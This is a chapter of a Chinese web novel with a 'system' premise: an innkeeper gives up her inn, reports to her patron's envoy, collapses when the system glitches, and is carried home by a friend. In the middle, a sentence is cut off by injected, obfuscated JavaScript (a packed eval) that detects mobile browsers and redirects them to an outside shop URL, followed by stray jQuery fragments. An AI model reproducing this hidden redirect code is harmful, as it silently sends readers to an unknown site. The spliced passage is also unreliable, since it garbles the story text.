在雷厉风行地转让“客来居”之前,黎映真已经给客栈众人做过铺垫,所以当翌日天亮,大家又聚在客栈时,听见客栈换了东家这个消息,大伙虽觉失落,但也对黎映真给予支持。
看着原本应该在早市开门迎客,如今却大门紧闭的客栈,黎映真还是有些不舍。
阿桃问道:“掌柜的,我们什么时候能再回来?”
小姑娘看来满脸舍不得,眼眶都禁不住发红湿润。
“没事。”黎映真摸了摸阿桃的脑袋,拿出大姐姐的温柔,俯身将阿桃眼角溢出的眼泪擦去,道,“我会尽快的。”
阿桃拿出刚才黎映真给自己的银子,哽咽道:“掌柜的,这补偿金要不先给你吧。我看你给大伙都发了比平时工钱多两三倍的银子,你自己该不够用了。”
“这是你们应得的。”黎映真将银子推回去,有意拿身子挡着,“财不外露,你赶紧收好。我是掌柜的,能缺银子用?你好好照顾自己,等我把手头最要紧的事解决了,一定第一时间把你们都找回来帮忙。如果……你们还愿意的话。”
“当然愿意!”阿桃用力点头,见黎映真去意已决,她不再多说什么,收好了银子就此离开。
客来居换主的消息一定很快就会在县里传开,黎映真不想在这些不重要的事上浪费心神,于是在李弦安排下,在五味轩附近租了一间清静干净的屋子安顿下来。
在之后的几日里,她深居简出,一面整理心绪,一面做接下去的计划,既要能给十一娘交代,也要能应对可能出现的系统问题。
果真,两日后的下午,十一娘身边的长随便出现在五味轩外。
不是十一娘亲至,对黎映真而言总要好些。
给长随奉茶后,她便将自己屡遭黎文远构陷,甚至被危及性命的状况都说了出来,个中细节虽有修饰,但她不满黎世昌偏袒、为求安宁和专心经营生意的意图都表达明确了。
见长随沉默,眼波不动,黎映真猜不出其喜怒,便再放低了姿态,垂眉道:“民女深知,辜负殿下对客来居的期望,但与其在倾轧中耗尽心力,不如壮士断腕,另起炉灶。殿下原本就是给民女机会,而不是给客来居机会。”
长随此时仍未言语,但方才若有所思,如今已抬眼看向黎映真,道:“黎掌柜果决,但殿下在客来居投的银子却未能收获预期利润与声势,需知真要养一个招牌,算不得十分容易。”
“烦请大人转告殿下,民女能撑起第一个客来居,就能再推出第二个。客来居如今也只是易主,未见得就此消失,殿下若在意,只一句话,黎家人也得好好经营,只是风格不同以往罢了。”黎映真道。
她又取来一只锦盒交给长随,道:“殿下当初的注资,大部分都用在了话本杀相关的布置和必要的支出,剩余的部分,连同殿下的分红,民女已悉数备好,一并还有账目明细,都在这里。”
长随接了锦盒并不曾打开,只放在手边的茶几上,继续问道:“殿下并非不信任黎掌柜,只是好奇,黎掌柜准备如何东山再起?还跟客来居一样?”
虽又得了十一娘的橄榄枝,可毕竟是自己先斩后奏,黎映真不敢在此时就大意松懈,脸色绷紧了几分,垂首回道:“民女打算,以五味轩为核心,专注于药膳养生与特色外送,同时探索与码头货运相关的便捷食肆服务,或许还能借此,接触到一些……不同往来的消息。”
一面说,她一面递上重新写过的计划书。
长随接了计划书,同样未曾打开,但这次拿在了手里。
良久后,长随才点头道:“我会将黎掌柜的意思转达给殿下。先预祝黎掌柜,生意兴隆。”
长随起身时,那封计划书还在长随手中,但锦盒原封不动地就摆在茶几上。
至此,算了暂且过了十一娘的第一关,黎映真暗暗松了口气。
送走长随后,黎映真找来赵淮,正式提出扩建五味轩一事。
眼下的铺头只做外送和小点堂食还算够用,但十一娘想要的显然不止她方才说的那些,客来居曾经有的,如今的五味轩也要有,且要更好。
和赵淮的商议原本顺利,但那个沉寂了几日的系统提示音,忽然又在脑海中以一种极其怪异的方式响了起来。
那不再是冰冷的金属音,而是充满了杂音、卡顿和逻辑混乱的碎片词句。
“滋滋……绑定实体客来居……经营权限变更……规则……符合……”
“能量场匹配度……错误!能量供给……接近零!系统运行……基础……崩溃……”
一阵极其尖锐的金属撕裂噪音猛地刺入黎映真的脑海,她即便扶着身边的桌子,身体也像是不受控地想要瘫去地上。
凭着仅剩的意志,她仍死死抓着桌角,浑身紧绷着与脑海中的杂音对抗。
“警告!检测到原宿主脱离……强制召回程序启动……”
“失败……滋滋……根据底层协议……错乱……数据溢出……”
赵淮见状,连忙上前道:“掌柜的,你怎么了?”
黎映真用尽力气才勉强摇了一下头,不知自己此刻脸色煞白,毫无人色。
而她的大脑里更是翻江倒海,系统的反应比她预想的还要剧烈。
果然像她猜测的那样,系统必须绑定限定范围内的唯一实体,而现在客来居的权责都在黎文远身上。
正是因为系统试图绑定黎文远,但黎文远根本无法提供任何能量,导致系统核心逻辑崩溃,才有现在的数据混乱,以至影响到还未完全清除大脑中数据的她。
但也正是有这样的表现,让她知道自己的计划应该是成功了,只是不知这后遗症还要持续多久。
黎映真强迫自己集中精神,在脑海中冷冷地观察着这一切,就连所谓的精神对抗都处在无声状态,没有任何回应,也没有任何试图挽救的念头。
尖锐的噪音和混乱的提示持续了很长时间,声音终于消失的那一刻,她才放弃了所有的抵抗,整个身子滑去地上。
“砰。”
累得连抬头的力气都没有,额角直接磕在桌腿上,疼,可她发不出声。
此时此刻,所有的思绪都仿佛不存在,脑海陷入了一片前所未有的寂静。
所幸她尚有意识,知道这样的安宁不是坏事,便靠着桌腿在地上坐着。
“掌柜的,你没事吧?”赵淮看着她仍无血色的脸,尤其那双往日善良慧黠的眼睛如今暗淡无光,又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216824|192900||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总是不说话,身体的起伏都很微弱,更是焦急道,“掌柜的,究竟怎么回事?”
她想回答,但先前过于突然和剧烈的刺激让身体变得麻木,除了大脑还有意识,其他都不像是她能控制的。
被赵淮从地上捞起来,她还是不能在凳子上坐,无奈听着赵淮喊其他人过来。
一群人又是扶着她,又是去找大夫、找李弦的,闹了好一阵。
李弦赶来时,她正被赵淮扶着,强行被按着维持坐姿,由陈大夫把脉看诊。
经验丰富的老郎中搭着她的脉,眉头锁得紧,捋着长须,多时都未曾说话。
“怎么样了?”李弦拨开围在黎映真身边的人群,见赵淮有意让位,他即刻扶上黎映真肩头,又抽了旁边的凳子坐下,让她靠着,问道,“哪里不舒服吗?”
见她愣愣的,不说话,他再问陈大夫道:“陈大夫……”
不等李弦问完,陈大夫摇头道:“脉象如游丝悬崖,似有还无,气息绵绵,若存若亡,奇怪,太奇怪了。”
“陈大夫,你这究竟是什么意思?”吴二急道,“掌柜的平日都好好的,怎么突然就变成这样了?你医术高超,一定要想办法治好我们家掌柜的。”
“黎掌柜身僵如槁木,体冷若寒玉,似神魄惊散,离体而去,看着像是离魂之症。”陈大夫道。
“离魂症?”李弦以往对这类奇症怪病并不以为意,但眼见黎映真症状突发,至今还未开口说过只言片语,已由不得他不在意,追问道,“如何治?”
“除了服药稳固,辅以金针刺穴,其余只能但听天命了。”陈大夫道。
“什么?”吴二闻言大惊,“怎么会?怎么会这样?掌柜的平日都行好事,怎么可能突然得离魂症?”
他来回踱着步,越说越气愤,忽然灵光一闪,道:“一定是被黎家的人害的!他们抢了客来居,抢了掌柜的心血,我这就找他们算账!”
赵淮见状,赶忙将他拉住,二人拉扯着先行去了外头。
李弦又向陈大夫询问了关于离魂症的治疗之法,陈大夫答应回了德仁堂与其他大夫一同会商黎映真的病症,毕竟她的情况只是与离魂症有些相似,并不完全符合。
待陈大夫走了,李弦还是那样给黎映真当人身靠枕,柔声问道:“带你回家?”
见她垂着的长睫微微动了动,他直接将人打横抱起。
那单薄的身子从未这样听话,被他抱着,还往他怀里陷,侧脸贴在他心口上,每一次心跳都让她听去了。
这心跳,稳健有力,就像他这双手臂一样,教她觉得无比安全。
只是跳得有些快。
眼下这一刻,她腔子那颗心,也是这个频率。
将近门口时,李弦停了脚步,只因发现她似乎又往自己怀里“钻”了一些,方才微阖的双眼,这会儿完全闭上了。
“病了而已,不丢人。”李弦向上托了一把,那颗毛茸茸的脑袋自他下颌轻轻擦过,头顶的发丝蹭得他有些痒,“看大家那么关心你,早些好起来。”
见那浓密的睫毛又像是动了动,他歪头凑近道:“我也等着。”
那蝶翼似的长睫没再动了,怀里那人好像睡着了。